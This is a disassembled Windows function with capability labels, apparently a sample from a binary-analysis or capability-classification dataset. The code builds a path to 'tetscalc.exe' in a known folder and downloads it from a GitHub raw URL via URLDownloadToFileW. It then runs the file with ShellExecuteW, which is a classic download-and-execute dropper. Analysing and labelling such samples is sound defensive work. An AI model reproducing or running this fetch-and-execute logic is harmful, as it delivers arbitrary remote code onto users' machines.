Function at 0x1400011c0
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
xor edi, edi
lea r9, [rbp - 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400032c0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
je 0x140001234
lea eax, [rdi + 1]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001740
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov r14, qword [rbp - 0x30]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [r14 + rbx*2], di
jne 0x140001250
movabs r15, 0x7ffffffffffffffe
cmp rbx, r15
ja 0x1400014cb
cmp rbx, 7
ja 0x14000129b
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 7
add rbx, rbx
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx - 0x50], di
jmp 0x140001348
mov rax, rbx
or rax, 7
cmp rax, r15
jbe 0x1400012b7
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400012e9
mov r15, rax
mov ecx, 0xa
cmp rax, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400014d1
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001315
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400014d1
mov rcx, rax
call fcn.140001760
test rax, rax
je 0x14000140d
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001327
test rcx, rcx
je 0x140001324
call fcn.140001760
mov rsi, rax
jmp 0x140001327
mov rsi, rdi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], r15
add rbx, rbx
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rsi], di
mov rsi, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
sub rax, rsi
cmp rax, 0xd
jb 0x140001392
lea rax, [rsi + 0xd]
mov qword [rbp - 0x40], rax
lea rbx, [rbp - 0x50]
cmp rcx, 7
cmova rbx, qword [rbp - 0x50]
lea rcx, [rbx + rsi*2]
mov r8d, 0x1a
lea rdx, str._tetscalc.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi*2 + 0x1a], di
lea rax, [rbp - 0x50]
jmp 0x1400013a9
mov qword [rsp + 0x20], 0xd
mov edx, 0xd
lea rcx, [rbp - 0x50]
call fcn.140001550
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140001419
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001414
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001414
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000179c
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova r8, qword [rbp - 0x28]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.https:__github.com_David2024vip_calc_raw_main_tetscalc.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x14000147c
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova r8, qword [rbp - 0x28]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x14000147c
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x140001481
mov edi, 1
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x1400014c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000179c
mov eax, edi
jmp 0x14000120b
call fcn.1400011a0
int3
call fcn.140001100
int3